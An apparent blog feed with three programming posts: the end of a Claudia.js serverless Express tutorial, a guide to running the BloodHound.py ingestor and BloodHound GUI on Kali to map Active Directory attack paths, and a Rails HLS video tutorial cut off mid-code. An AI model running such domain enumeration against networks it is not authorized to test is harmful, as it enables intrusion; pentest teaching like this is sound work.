Next, house-keeping item, I like to put all code assets into a /src directory to help keep things organized.

Then, after we create that directory, we'll also create our app.js file, PLUS an app.local.js which we'll use to run our app locally while testing.

mkdir src && cd src
touch app.js
touch app.local.js

Now we'll setup a very simple express to get everything setup for further development.

Thanks to attacomsian for a great Claudia.js setup which I'm basing the Claudia.js portion of this write-up on.

backend/src/app.js

const express = require('express')
const app = express()

app.get('/', (req, res) => res.send('Hello world!'))

module.exports = app;

Then, our app.local.js file

backend/src/app.local.js

const app = require('./app')
const port = process.env.PORT || 3000

app.listen(port, () => 
  console.log(`App is listening on port ${port}.`)
)

Finally, edit backend/package.json to add the following script:

{
  "name": "dern-backend",
  ...
  "scripts": {
    "dev": "nodemon src/app.local.js",
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  ...
}

We can confirm that our express app works by running the following command:

npm run dev

You should see the following output:

❯ npm run dev

> dern-backend@1.0.0 dev
> nodemon src/app.local.js

[nodemon] 2.0.15
[nodemon] to restart at any time, enter `rs`
[nodemon] watching path(s): *.*
[nodemon] watching extensions: js,mjs,json
[nodemon] starting `node src/app.local.js`
App is listening on port 3000.

With that up and running, let's get the Claudia.js stuff configured so we can deploy our app to AWS. First, you can check if you already have Claudia installed on your system by running:

claudia --version

If you see a version number returned, ie 5.14.0, you're all set. If not, you can install Claudia.js globally with the following command:

npm install -g claudia

Note that we're using the -g flag with NPM to install the claudia package globally.

After that completes, you can confirm the installation was successful by running the above claudia --version command.

With Claudia, successfully installed, we're ready to use it to generate AWS Lambda wrapper. Run the following command from the /backend directory:

claudia generate-serverless-express-proxy --express-module src/app

You should see the following output in the terminal:

❯ claudia generate-serverless-express-proxy --express-module src/app
npm install aws-serverless-express -S

added 3 packages, and audited 171 packages in 2s

18 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities
{
  "lambda-handler": "lambda.handler"
}

Note that in our backend directory, a new file lambda.js has been created. This file has configuration values for claudia.

With that in-place, we're almost ready to do an initial deploy to AWS. We'll just need to make sure we've configured the AWS CLI & credentials.

Sure, at the moment our express "app" is just a simple "Hello, World!", but let's make sure we're deploying early & often so we can work out any bugs / differences between local and AWS.

Run the following command:

claudia create --handler lambda.handler --deploy-proxy-api --region us-east-1

This will take a little bit of time to run, as claudia is doing some important stuff for us automatically, but you should see status updates in your terminal. Once it completes, you should see a json output with some information about our claudia app.

saving configuration
{
  "lambda": {
    "role": "dern-backend-executor",
    "name": "dern-backend",
    "region": "us-east-1"
  },
  "api": {
    "id": "[api-id]",
    "url": "https://[api-id].execute-api.us-east-1.amazonaws.com/latest"
  }
}

If you're unfamiliar with AWS services such as Lambda & API Gateway, I'll briefly explain. Lambda is AWS's "Functions As A Service" platform, it allows to upload code (in our case node.js code) and run it on-demand, as opposed to needed to deploy, provision and manage node.js servers.

There's a variety of ways you can invoke your Lambda function once it's uploaded onto AWS, but the method we're going to be using (through Claudia.js that is), is via an API Gateway.

API Gateway is a service that allows to deploy API's on AWS. One of the ways API Gateway works is by allowing you to specify various endpoints, and invoke specific Lambda functions when a request is made to that endpoint.

Although manually defining endpoints in AWS can be a useful method to build and deploy micro-services, Cluadia.js allows us to deploy our express app as a single Lambda function, and uses a proxy resource with a greedy path variable to pass the endpoints to our express app.

Below is what you'll see in the AWS Console for API Gateway after Claudia finishes deploying.

I won't go into too much detail here about the various settings and configurations of API Gateway, but the laymans version of how to interpret the image above is that API Gateway will pass any HTTP requests, ie. POST /api/auth/login {"user":"username":"pass":"password"} (that's just psuedo-code), to our Lambda function, which is an Express.js app, and the Express.js App Lambda function will handle the request the same way it would if the app were running on a server.

If that sounds complicated, don't worry, we'll run through a quick example to see how everything is working.

Throughout the rest of this write-up / series, I'm going to be using Postman to test out our api until we build out a frontend. I'm going to keep all related requests in a Postman collection named "Serverless DERN TODO". Going into too much detail on Postman is going to be outside the scope of this tutorial, but I'll try to explain what I'm doing each step of the way in case this is your first time using the tool.

If you'll recall back to our app.js file from earlier, you'll remember that we setup a single GET endpoint at our API root. Let's use Postman to make a GET request there and confirm everything is working.

The URL that we will make the request to is the url from the Claudia json output earlier:

{
  "lambda": {
    ...
  },
  "api": {
    "id": "[api-id]",
    "url": "https://[api-id].execute-api.us-east-1.amazonaws.com/latest" <- This thing
  }
}

If you need to find that information again, you can either go into the AWS API Gateway console, click "Stages", then "latest". The URL is the "Invoke URL".

Or, you'll notice that after we ran the claudia create ... command earlier, a new claudia.json file was created which stores our api-id & the region we deployed our api to, in this case us-east-1. You can take those two values and put them into the following URL pattern

https://[api-id].execute-api.[aws-region].amazonaws.com/latest

Note: The /latest path at the end of our Invoke URL is the "stage" from API Gateway. You can configure multiple stages (ie dev, v1, etc) but the default stage Claudia creates for us is "latest". Express will start routing after the /latest stage. For example, if we made a /login endpoint, the final URL would look like https://[api-id].execute-api.[aws-region].amazonaws.com/latest/login

Here's our Postman GET request to the API root. We get back, Hello world!

Don't forget, we also setup our app.local.js file so that we can develop and test on our local machine. Run the npm dev command to startup our express app.

npm run dev

> dern-backend@1.0.0 dev
> nodemon src/app.local.js

[nodemon] 2.0.15
[nodemon] to restart at any time, enter `rs`
[nodemon] watching path(s): *.*
[nodemon] watching extensions: js,mjs,json
[nodemon] starting `node src/app.local.js`
App is listening on port 3000.

I'm also going to change our Base URL to a Postman variable. Highlight, the entire url in our request, click the "Set as variable" popup that appears, then select, "Set as a new variable". I'm naming my variable BASE_URL and setting the scope to the collection. Finally, click the orange "Set variable" button to save.

If all went correctly, you should see the url in the GET request changed to {{BASE_URL}}.

Now that we've promoted our API Gateway URL to a variable, it's time to immediately change its value to point to our localhost server.

Access the variables by clicking on the name of the collection in the left-hand sidebar (mine is named Serverless DERN TODO). Then click the "variables" tab, you should see BASE_URL the variable we just created. It has two fields, "INITIAL VALUE" & "CURRENT VALUE". Change the URL inside "CURRENT VALUE" to "http://localhost:3000".

IMPORTANT! Don't forget to save BOTH the collection and the GET request to ensure that Postman is using the updated value for the variable. The orange circles on the request and collection tabs will let you know if you have unsaved changes.

You should be able to send the GET request again, and see the same Hello world! response. Right now, we don't have any logging in our app, so you won't see anything in the terminal running our local version of the app. The only difference you might notice is a significantly lower ms response time vs. the AWS API Gateway request, since our localhost version doesn't have very far to go.

With all that setup, we're in a good place to stop for Part 1. We've accomplished a lot so far, we have an Express.js app setup and ready to easily deploy to AWS via Claudia.js. We also have a local dev version of our Express app ready for further development and testing.

Up next is Pt. 2 of the series where we'll start foucsing on building out the features of our application like building some data models with Dynamoose.

Setting up and Using BloodHound in Kali Linux

Adam Katora — Mon, 28 Feb 2022 23:26:24 +0000

BloodHound is a tool used to visualize and identify attack paths in Active Directory Domains. Being that AD is Windows based, some of the default tools for BloodHound (ie. SharpHound ingestor) only run on Windows. Fortunately, there are tools for Unix-like systems that allow us to easily work with BloodHound on Kali and other Linux machines.

It is important to note, that you will need a set of valid Domain Credentials (ie a Username & Password) for the ingestor to be able to run.

I'll be working on a fresh Virtualbox install of Kali, version 2022.1-amd64.

BloodHound Quick Overview

BloodHound consists of 2 main parts: 1.) an ingestor to enumerate / collect Active Directory Domain data. 2.) A GUI application to visualize the relationships between the Active Directory Domain data that was collected by the ingestor.

The GUI Application itself is an electron app backed by a neo4j graph database.

Ingestors

On Kali linux, the easiest way to get running with an ingestor is to use BloodHound.py

Start by creating a new folder on your Desktop, I'm calling mine "BH_tut", this will just help us keep all our working files organized. Then, change directory to your newly created folder.

cd ~/Desktop
mkdir BH_tut && cd BH_tut

Next, we'll need to grab the source code for BloodHound.py ingestor off github. In a web browser, open up https://github.com/fox-it/BloodHound.py. Then, click the green "Code" button and select the Copy To Clipboard icon from the dropdown.

Back in your terminal, run the following command from within the "BH_Tut" folder to copy the source files to your local machine.

git clone https://github.com/fox-it/BloodHound.py

Change directory into the newly downloaded, BloodHound.py folder.

cd BloodHound.py

Note: Typically, I'd reccommend spinning up a new Python virtual enviornment and installing BloodHound.py and its dependencies into the venv as opposed to the system version of Python. However, as of Kali 2022.1 (maybe even earlier, I haven't tested any others) all the python packages required to run BloodHound.py are pre-installed on the system version of Python.

If you follow along with the DBCreator section later on, we will end up needing to create a venv there.

You can confirming that BloodHound.py is working by running:

./bloodhound.py

Without supplying any options to the program, you should just see the banner printed with all the available flags and options.

With that up and running, we can focus on enumerating our AD Domain. It's time to get some data, or as I like to call it, release the hounds!

Here's an example command of how you'd run bloodhound.py on an Active Directory Domain.

./bloodhound.py -c All -u [username] -p [password] -dc [domain controller domain name] -d [domain name] -ns [nameserver ip]

Flags:

Collection Method: '-c'
- We'll set to all to save everything that BloodHound can grab
Username: '-u'
- The username of an active user account in this Active Directory Domain
Password: -p
- The password for the above user account
Domain Controller (Domain Name not IP): '-dc'
- The domain name of the Domain Controller (typically follows the pattern of 'dc.[domain].com'), this won't work if you just supply the IP address of the domain controller
Domain (Domain Name not IP): '-d'
- The name of the Active Directory domain (Taking the above example, this typically would be the same as above without the dc. subdomain, ie '[domain].com')
Name Server (IP Address): '-ns'
- Here, you can specify a custom nameserver IP Address to resolve the above -dc & -d flags to.

I ran my bloodhound.py on a HackTheBox machine I was working on, it's a retired box, but I still kept some info redacted to avoid any spoilers.

Here's what your directory will look similar too after successfully enumerating an AD Domain.

As you can see, separate .json files have been created for each of the categories of collection items bloodhound.py was able to enumerate through.

Generating Sample data w/ DBCreator

NOTE: This shows how to generate sample data, but also covers installing neo4j, which is required to run BloodHound. If you already collected data with an ingestor, feel free to skip ahead to the point where I've written "Neo4j Installation", and make sure you install neo4j on your Kali machine.

If you don't currently have an AD Domain you can run bloodhound.py in, no worries, we can use BloodHound Database Creator to generate some sample data.

Start by going to the BloodHound-Tools Github Repo and grabbing the clone link like we did above for BloodHound.py.

Then, clone that repo into the "BH_tut" folder.

git clone https://github.com/BloodHoundAD/BloodHound-Tools

Once that finshes downloading, change directory into the "BloodHound-Tools" directory and then the "DBCreator" directory inside that

cd BloodHound-Tools
cd DBCreator

Now, we will create a new Python venv to install the DBCreator depencies as these aren't all in the default system Python.

Ensure that the venv module is installed on your Kali machine by running

sudo apt update
sudo apt install python3 python3-venv

With that installed, create the new venv by running:

python3 -m venv venv

Then, activate the venv by running:

source venv/bin/activate

Then install the dependencies for DBCreator by running:

pip install -r requirements.txt

NOTE: I hit an issue running the DBCreator.py generate command. According to the BloodHound-Tools github issues, it seems as if I wasn't the only one.

The workaround I found was to download this updated DBCreator.py file, and replace the existing DBCreator.py file with that new one.

After swapping out those files I was able to sucessfully run the generate command from DBCreator.

DBCreator is now installed, but we still need a neo4j instance running for the generator to save our sample data to

Neo4j Installation

Install neo4j from the apt repository with:

sudo apt install neo4j

After installation completes, start neo4j with the following command:

sudo neo4j console

Then navigate to localhost:7474. Login with the default credentials

username: neo4j 
password: neo4j

After you've successfully logged in with the default credentials, you'll be prompted to change the password. I've opted to go with kalilinux for the new password.

Return to the terminal that you installed DBCreator in. Ensure that the venv is activated (that's the venv/bin/activate command), then run:

python DBCreator.py

You'll see a banner "BloodHound Sample Database Creator" and (CMD) appear at the bottom of the terminal. This is where we can set the neo4j configuration options. Type the following command:

dbconfig

You'll be promted for the DB url: the default value


 should work, hit enter.

For DB Username, `neo4j`, the default is correct.  

For DB Password, supply the new password we created, `kalilinux`.

And finally, No, to "Use encryption".

![Running DBCreator](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3ednd5wk1yvciaz4vz9l.jpg)

After hitting "enter" you should see a message "Database Connection Successful!", after which, you can run the command `generate`. (If you hit an error with generate don't forget the updated DBCreator.py file from above)

![Running the DBCreator Generate Command](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/iiatxblrosp0qc7imx66.jpg)

Now our neo4j database is seeded with sample data and we're ready to install the BloodHound GUI app.

___

## Installing BloodHound w/ Pre-Compiled Binaries  

**Note: Don't install the version of BloodHound from the apt repository. It's not maintained by the BloodHoun dev team and as such might be out of date**

Navigate to the [BloodHound Github Repo](https://github.com/BloodHoundAD/BloodHound) at [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound). On the right-hand sidebar, you should see a heading titled "Releases". Immediately below that should be the latest release available. Click to navigate to the binaries page for that.  

Scroll down to the "Assets" list where you should see a zip download for Linux x64. Download that zip to your Kali machine.

Move or copy the downloaded file from your downloads folder, to our BH_tut folder on the Desktop. 

______
**NOTE:** For this write-up, I'm just installing BloodHound in our BH_tut folder. In the real-world, you should install programs such as this into the Linux /opt directory, ie /opt/BloodHound.
______



```bash
cp ~/Downloads/BloodHound-linux-x64.zip ~/Desktop/BH_tut/BloodHound-linux-x64.zip

Then, from the BH_tut directory, unzip the file and once it's completed unzipped, change into the newly created directory.

unzip BloodHound-linux-x64.zip
cd BloodHound-linux-x64

Ensure that the 'BloodHound' file is executable.

sudo chmod 770 BloodHound

Then run the program with:

./BloodHound

You'll see the BloodHound login screen and be prompted to supply the neo4j credentials that we created earlier. We kept our username the default at neo4j, and set the password to kalilinux.

If you followed along with the DBCreator setup, once logged in you should see a data graph with your sample data loaded up. To view some of the pre-built analysis queries, click "Search Node" dropdown, then "Analysis" tab, then choose one of the pre-built queries to view.

If you used an ingestor to get your data, we still have one more step to load up the data into our neo4j database.

Navigate back to your BloodHound.py folder, and find the .json files that were created earlier. With the BloodHound application window open, click and drag (hold ctrl to select multiple files) the .json files into BloodHound.

You'll see an uploads progress window. Once all of the uploads reach 100% upload completion, feel free to close the window. If you click the "Search for a node" toggle dropdown, then the analysis tab, the pre-built queries should work for however much data your ingestor was able to find.

This walkthrough is certainly only scratching the surface of what's possible with BloodHound. I myself am looking forward to digging into the Analysis queries in more depth, and depending on what I learn, hopefully write a follow-up on that. Hopefully, this is able to help new pentesters looking to get started with AD & BloodHound though.

Creating a VOD (Video On Demand) Platform with Rails & FFMPEG

Adam Katora — Wed, 06 Oct 2021 00:55:46 +0000

If you want the TL;DR version, here's the github link

Intro

Recently, I started working on a project where I wanted to allow users to upload videos, then allow them and other users to playback those videos. I was able to find numerous tutorials showing how to make Youtube clones in rails, but nearly every tutorial went along the lines of "upload video as .mp4, save the video to storage, play back video as mp4".

While this approach can work in limited instances, it has some serious drawbacks. For one, mp4 files have no way to truly be streamed. Sure, there's modern tricks to fragment mp4 files to give the illusion of streaming, but this solution hardly holds up in low bandwidth network settings, and mobile support can be hit or miss.

Instead, the HTTP Live Streaming (HLS), format developed by Apple, provides a way for video to sent to the client in an adaptive format that allows quality to be automatically adjusted depending on the client's internet connection. HLS files are also segmented by default, which provides the benefit of reducing the bandwidth required to start playing video.

The below tutorial for building a rails VOD platform is by no means production ready, but it should serve as a good jumping off point for anyone who's looking to build out a more fully-featured rails video service.

So with that, let's get started.

The version of Ruby & Rails I'm using:

Ruby Version: 3.0.2

Rails Version: 6.1.4.1

For a sample mp4 video, I'm using this 1080p first 30s version of the famous blender made video, big buck bunny

Project Setup

The instructions I'll be providing for this setup run the app inside a docker container.

Originally, I was developing this project on MacOS, but ran into permissions issues with the streamio-ffmpeg gem accessing the system installed version of FFMPEG. Instead of wasting time troubleshooting that, I decided this was a good opportunity to dockerize my app.

To start create a folder with your desired project name, ie:



mkdir rails-vod-example && cd rails-vod-example

Create a Dockerfile in your project root:



touch Dockerfile

Once the Dockerfile has been created, add the following code.

Dockerfile



FROM ruby:3.0.2

RUN apt-get update -qq \
    && apt-get install -y ffmpeg nodejs \
    npm

ADD . /app
WORKDIR /app
COPY Gemfile /app/Gemfile
COPY Gemfile.lock /app/Gemfile.lock
RUN bundle install
RUN npm install -g yarn

EXPOSE 3000
CMD ["bash"]

We'll then need to create a Gemfile with Rails in our project root so that we can run rails new inside our container.



touch Gemfile

And add the following to the newly created Gemfile (this will get overwritten once we run rails new in the container)
Gemfile



source 'https://rubygems.org'
gem 'rails', '~>6'

Create a Gemfile.lock as well



touch Gemfile.lock

Next create docker-compose.yml file in your project root and add the following configuration files to it.



touch docker-compose.yml

docker-compose.yml



version: '3.8'
services:
  web:
    build: .
    command: bash -c "rm -f tmp/pids/server.pid && bundle exec rails s -p 3000 -b '0.0.0.0'"
    volumes:
      - .:/app
    ports:
      - "3000:3000"

Run this command to



docker-compose run --no-deps web rails new . --force

With the new project files generated run the following command which will change the ownership of the newly created rails files from root to your user. (Docker runs as root so the rails new command generates the files as the root user)



sudo chown -R $USER:$USER .

Then you'll need to reinstall the new Gemfile dependencies, run docker-compose build to re-run the bundle install



docker-compose build

Once that's complete, running docker-compose up should start the rails app and make it accessible on localhost:3000/

Building the bones of our app

For storage, we're going to use the Shrine gem, and for video transcoding we'll use ffmpeg via the streamio-ffmpeg gem.

Add these two lines to your Gemfile, then install them with docker-compose build.



gem 'shrine', '~> 3.0'
gem 'streamio-ffmpeg', '~> 3.0'

Next, we're going to use Rails scaffold to generate CRUD operations for our Video model. We add the name:string to create a new name field for our video and original_video_data:text to add the field Shrine needs for storing data about our uploaded file.



rails g scaffold Video name:string original_video_data:text

If your curious about what the orginal_video_data field is, and why it's suffixed with _data, I'd recommend reading the Shrine Getting Started docs as our code so far closely follows that.

In addition to creating the controllers, models, views, etc. The scaffold command will also create the neccessary routes for our Videos to be accessible at the /videos endpoint.

Let's add a default route so we don't have to type /videos everytime we want to test our application.

Update your config/routes.rb code to look like the below:

config/routes.rb



Rails.application.routes.draw do
  root to: "videos#index"
  resources :videos
  # For details on the DSL available within this file, see https://guides.rubyonrails.org/routing.html
end

Configuring Shrine:

To configure Shrine, we need to start by creating a Shrine initializer. I'm not going to go into too much detail about how Shrine works here, but the gist of things is that the below commands create two Shrine stores, a cache and permanent.

With the settings provided below Shrine is configured to use the local file system, and the cache and permanent storage are located in the Rails public/ directory and then placed into public/uploads & public/uploads/cache due to the prefix settings.

Create a new file config/initializers/shrine.rb and add the following code:

config/initializers/shrine.rb



require "shrine"

# File System Storage
require "shrine/storage/file_system"
Shrine.storages = { 
  cache: Shrine::Storage::FileSystem.new("public", prefix: "uploads/cache"), # temporary 
  store: Shrine::Storage::FileSystem.new("public", prefix: "uploads"),       # permanent 
}

Shrine.plugin :activerecord 
Shrine.plugin :cached_attachment_data # for retaining the cached file across form redisplays 
Shrine.plugin :restore_cached_data # re-extract metadata when attaching a cached file

After configuring Shrine, let's test our rails app is running correctly by typing the command



docker-compose run web rails db:create db:migrate

Then start our rails server with:



docker-compose up

If all is well, you should see something similar to the below image:

With everything running smoothly, the next step is to create our Uploader. Start by creating a new folder in the /app directory called uploaders, and create a new .rb file for our uploader called video_uploader.rb

In a minute, this is where we will add the processing logic for how to handle video uploads, but for now, let's start with the bare minimum by adding the following code to video_uploader.rb

app/uploaders/video_uploader.rb



class VideoUploader < Shrine

end

Before we go any further with the processing logic for our uploader, let's make sure it's connected to our Video model. Shrine makes this incredibly easy. In app/models/video.rb add the following code so that your model looks like the below:



class Video < ApplicationRecord
  include VideoUploader::Attachment(:original_video)
end

If you'll recall, when we created our Video object earlier, we named the field in the database original_video_data, but in the model file we use just original_video instead. The _data suffix is a Shrine naming convention, hence the reason for it.

In app/views/videos/_form.html.erb, update the form field for the original_video file field to the below code. According to Shrine docs, the hidden_field ensures that if a user updates a video object without uploading a new orginal_video file, the cached file gets used instead of being overwritten to an empty file.

app/views/videos/_form.html.erb



<div class="field">
  <%= form.label :original_video, "Video File" %>
  <%= form.hidden_field :original_video, value: video.cached_original_video_data %>
  <%= form.file_field :original_video %>
</div>

The updated _form.html.erb should look like this:



<%= form_with(model: video) do |form| %>
  <% if video.errors.any? %>
    <div id="error_explanation">
      <h2><%= pluralize(video.errors.count, "error") %> prohibited this video from being saved:</h2>

      <ul>
        <% video.errors.each do |error| %>
          <li><%= error.full_message %></li>
        <% end %>
      </ul>
    </div>
  <% end %>
  <div class="field">
    <%= form.label :name %>
    <%= form.text_field :name %>
  </div>

  <div class="field">
    <%= form.label :original_video, "Video File" %>
    <%= form.hidden_field :original_video, value: video.cached_original_video_data %>
    <%= form.file_field :original_video %>
  </div>

  <div class="actions">
    <%= form.submit %>
  </div>
<% end %>

And finally, in our Videos Controller, we have to remember to permit the new :original_video parameter so that the file can actually be saved.

Update the video_params to this:



# Only allow a list of trusted parameters through.
def video_params
  params.require(:video).permit(:name, :original_video)
end

The full controller should now look like this:

app/controllers/videos_controller.rb



class VideosController < ApplicationController
  before_action :set_video, only: %i[ show edit update destroy ]

  # GET /videos or /videos.json
  def index
    @videos = Video.all
  end

  # GET /videos/1 or /videos/1.json
  def show
  end

  # GET /videos/new
  def new
    @video = Video.new
  end

  # GET /videos/1/edit
  def edit
  end

  # POST /videos or /videos.json
  def create
    @video = Video.new(video_params)

    respond_to do |format|
      if @video.save
        format.html { redirect_to @video, notice: "Video was successfully created." }
        format.json { render :show, status: :created, location: @video }
      else
        format.html { render :new, status: :unprocessable_entity }
        format.json { render json: @video.errors, status: :unprocessable_entity }
      end
    end
  end

  # PATCH/PUT /videos/1 or /videos/1.json
  def update
    respond_to do |format|
      if @video.update(video_params)
        format.html { redirect_to @video, notice: "Video was successfully updated." }
        format.json { render :show, status: :ok, location: @video }
      else
        format.html { render :edit, status: :unprocessable_entity }
        format.json { render json: @video.errors, status: :unprocessable_entity }
      end
    end
  end

  # DELETE /videos/1 or /videos/1.json
  def destroy
    @video.destroy
    respond_to do |format|
      format.html { redirect_to videos_url, notice: "Video was successfully destroyed." }
      format.json { head :no_content }
    end
  end

  private
    # Use callbacks to share common setup or constraints between actions.
    def set_video
      @video = Video.find(params[:id])
    end

    # Only allow a list of trusted parameters through.
    def video_params
      params.require(:video).permit(:name, :original_video)
    end
end

With all the above added, we can now test that Shrine is uploading and saving our .mp4 file. Make sure your rails server is running, then navigate to localhost:3000

NOTE: In rails, the initializers get called... well, on initialization. That means if you make changes to your shrine.rb file, make sure to stop and restart your server so that the changes will take affect.

At the videos index, click "New Video", give your video a name, and then select an mp4 file to upload.

Just remember, since we haven't done any frontend work (like adding a file upload progress bar) there won't be any feedback as the file gets uploaded. So just make sure to use a small .mp4 file for testing purposes.

Once the file uploads, you should get a green confirmation message that the video was created successfully. Let's update our show view, so we can see more information about our video.

app/views/videos/show.html.erb



<p id="notice"><%= notice %></p>

<p><strong>Name: </strong><%= @video.name %></p>

<p><strong>@video.original_video_url</strong> <%= @video.original_video_url %></p>

<%= link_to 'Edit', edit_video_path(@video) %> |
<%= link_to 'Back', videos_path %>

Updating the show view to the above code and navigating to localhost:3000/videos/1 you should see page similar to the following:

NOTE: Shrine automatically generates a UUID for file uploads but retains the original filename in the _data field. That's why the filename is different.

And if you navigate to your /public/uploads folder in your project, you should see that your .mp4 has been uploaded with it's Shrine ID as the filename.

For housekeeping andtesting purposes, go ahead and hit "Back" then use the "Destroy" button to delete your file. You'll notice it removes the item from the database, and deletes the associated video file from the permanent storage. (You might notice that the cache file & folder is still there, but handling that is outside the scope of what I'm aiming to cover in this tutorial)

Building our HLS VOD Service

NOTE: At the time of writing this, I had done some, albeit basic, refactoring to the code to make it a little more DRY. Instead of going step by step through the trial and error I went through to end up with this code, I've decided to just present the completed version as-is, then at the end explain some of the earlier roadblocks and why I made certain decisions

With the basic CRUD and upload functionality of our VOD service in place, it's time build out the actual HLS processing logic in our VideoUploader class.

Getting started:

We'll need to extend Shrine with two plugins, processing & versions. The processing plugin exposes a method process to our VideoUploader class that allows us to apply transforming processes to our file everytime a new file is uploaded.

The versions plugin further extends the processing plugin by giving us the ability to store arrays of files in our object. The plugin being named "versions" can be a bit misleading, but as you'll see from our use-case, we can use it beyond just versioning files.

At the top of the VideoUploader class, add the versions and processing plugins to Shrine:



class VideoUploader < Shrine
  plugin :versions
  plugin :processing

  ...

Next, we're going to override the initialize method in our uploader to generate a uuid which we will use for our transcoding ouput folder & filename. Add the following code to your VideoUploader class below the plugins.



def initialize(*args)
    super
    @@_uuid = SecureRandom.uuid
end

Now we're going to override Shrine's generate_location method in order to customize the file path our transcoded videos are saved at.

To briefly explain, generate_location gets called for each file that gets saved. Later in our code we'll be adding an array, called hls_playlist, to hold all the .ts and .m3u8 files that get generated by ffmpeg. So generate_location gets called for each one of those files that gets added.

The generate_location function then checks if the file being saved is of type .ts or .m3u8, and if it is saves it with the name of the file. (In this case the filename will be the uuid with some additional information about the encoding options appended as we'll see later)

Here's the code for generate_location to be added to the VideoUploader class.



def generate_location(io, record: nil, **)
    basename, extname = super.split(".")
    if extname == 'ts' || extname == 'm3u8'
        location = "#{@@_uuid}/#{File.basename(io.to_path)}"
    else
        location = "#{@@_uuid}/#{@@_uuid}.#{extname.to_s}"
    end
end

Next we're going to create a method to generate our HLS playlist, and add that newly created playlist to the master .m3u8 file. This method requires that an .m3u8 file already be open (which we pass in as the master_playlist param) and that a streamio-ffmpeg movie object already be created (which we pass in with the movie param)

The path and uuid params are both generated from the uuid that we created in the initialize method.

We set the options for ffmpeg in its own variable, and use the custom attribute to pass in cli options to ffmpeg for encoding the hls stream. Using %W instead of %w allows us to pass in variables to the array via Ruby string interpolation.

In the ffmpeg custom array, the flag -vf scale=#{width}:-2 allows us to specify a new video width while retaining the original videos aspect ratio. I'm not going to go over the rest of the ffmpeg settings in here, other than just to say these settings definitely need to be tweaked before actually being used.

In the movie.transcode call the first option is the output path of the file (you can see we join the path variable to gets passed to the function, with the uuid then the transcoding settings of the file)

After FFMPEG transcodes the movie, we use Ruby's Dir.glob to iterate over each of the generated .ts files and get the value of the highest bandwidth and calculate the average bandwidth before writing those and the rest of the .m3u8 information into the master.m3u8 playlist file.



def generate_hls_playlist(movie, path, uuid, width, bitrate, master_playlist)
    ffmpeg_options = {validate: false, custom: %W(-profile:v baseline -level 3.0 -vf scale=#{width}:-2 -b:v #{bitrate} -start_number 0 -hls_time 2 -hls_list_size 0 -f hls) }
    transcoded_movie = movie.transcode(File.join("#{path}", "#{uuid}-w#{width}-#{bitrate}.m3u8"), ffmpeg_options)

    bandwidth = 0
    avg_bandwidth = 0
    avg_bandwidth_counter = 0

    Dir.glob("#{path}/#{uuid}-w#{width}-#{bitrate}*.ts") do |ts|
        movie = FFMPEG::Movie.new(ts)
        if movie.bitrate > bandwidth
            bandwidth = movie.bitrate
        end
        avg_bandwidth += movie.bitrate
        avg_bandwidth_counter += 1
    end

    avg_bandwidth = (avg_bandwidth / avg_bandwidth_counter)

    master_playlist.write("#EXT-X-STREAM-INF:BANDWIDTH=#{bandwidth},AVERAGE-BANDWIDTH=#{avg_bandwidth},CODECS=\"avc1.640028,mp4a.40.5\",RESOLUTION=#{transcoded_movie.resolution},FRAME-RATE=#{transcoded_movie.frame_rate.to_f}\n")
    master_playlist.write(File.join("/uploads", uuid, "#{File.basename(transcoded_movie.path)}\n") )
end

Whew. still with me?

Finally, we use the process method that we called earlier to run the video transcoding on our uploaded file.

Using the versions plugin we create a variable versions which is a hash that contains both the original file, and an array we're naming hls_playlist that will hold all of the .ts and .m3u8 files that ffmpeg generates.

We use io.download to get the original file, then open up our new FFMPEG::Movie object as a variable movie, and create the master.m3u8 playlist file and write the required first lines.

Next we make a call to the method we just wrote to transcode our video, generate_hls_playlist



process(:store) do |io, **options|
    versions = { original: io, hls_playlist: [] }

    io.download do |original|
        path = File.join(Rails.root, "tmp", "#{@@_uuid}")
        FileUtils.mkdir_p(path) unless File.exist?(path)

        movie = FFMPEG::Movie.new(original.path)

        master_playlist = File.open(File.join("#{path}","#{@@_uuid}-master.m3u8"), "w")
        master_playlist.write("#EXTM3U\n")
        master_playlist.write("#EXT-X-VERSION:3\n")
        master_playlist.write("#EXT-X-INDEPENDENT-SEGMENTS\n")

        generate_hls_playlist(movie, path, @@_uuid, 720, "2000k", master_playlist)
        generate_hls_playlist(movie, path, @@_uuid, 1080, "4000k", master_playlist)

        versions[:hls_playlist] << File.open(master_playlist.path)

        Dir.glob("#{path}/#{@@_uuid}-w*.m3u8") do |m3u8|
            versions[:hls_playlist] << File.open(m3u8)
        end
        Dir.glob("#{path}/#{@@_uuid}*.ts").each do |ts|
            versions[:hls_playlist] << File.open(ts)
        end

        master_playlist.close
        FileUtils.rm_rf("#{path}")
    end
    versions
end

With all that code added, your video_uploader.rb file should look like the following:



class VideoUploader < Shrine
    plugin :versions
    plugin :processing

    def initialize(*args)
        super
        @@_uuid = SecureRandom.uuid
    end

    def generate_location(io, record: nil, **)
        basename, extname = super.split(".")
        if extname == 'ts' || extname == 'm3u8'
            location = "#{@@_uuid}/#{File.basename(io.to_path)}"
        else
            location = "#{@@_uuid}/#{@@_uuid}.#{extname.to_s}"
        end
    end

    def generate_hls_playlist(movie, path, uuid, width, bitrate, master_playlist)
        ffmpeg_options = {validate: false, custom: %W(-profile:v baseline -level 3.0 -vf scale=#{width}:-2 -b:v #{bitrate} -start_number 0 -hls_time 2 -hls_list_size 0 -f hls) }
        transcoded_movie = movie.transcode(File.join("#{path}", "#{uuid}-w#{width}-#{bitrate}.m3u8"), ffmpeg_options)

        bandwidth = 0
        avg_bandwidth = 0
        avg_bandwidth_counter = 0

        Dir.glob("#{path}/#{uuid}-w#{width}-#{bitrate}*.ts") do |ts|
            movie = FFMPEG::Movie.new(ts)
            if movie.bitrate > bandwidth
                bandwidth = movie.bitrate
            end
            avg_bandwidth += movie.bitrate
            avg_bandwidth_counter += 1
        end

        avg_bandwidth = (avg_bandwidth / avg_bandwidth_counter)

        master_playlist.write("#EXT-X-STREAM-INF:BANDWIDTH=#{bandwidth},AVERAGE-BANDWIDTH=#{avg_bandwidth},CODECS=\"avc1.640028,mp4a.40.5\",RESOLUTION=#{transcoded_movie.resolution},FRAME-RATE=#{transcoded_movie.frame_rate.to_f}\n")
        master_playlist.write(File.join("/uploads", uuid, "#{File.basename(transcoded_movie.path)}\n") )
    end

    process(:store) do |io, **options|
        versions = { original: io, hls_playlist: [] }

        io.download do |original|
            path = File.join(Rails.root, "tmp", "#{@@_uuid}")
            FileUtils.mkdir_p(path) unless File.exist?(path)

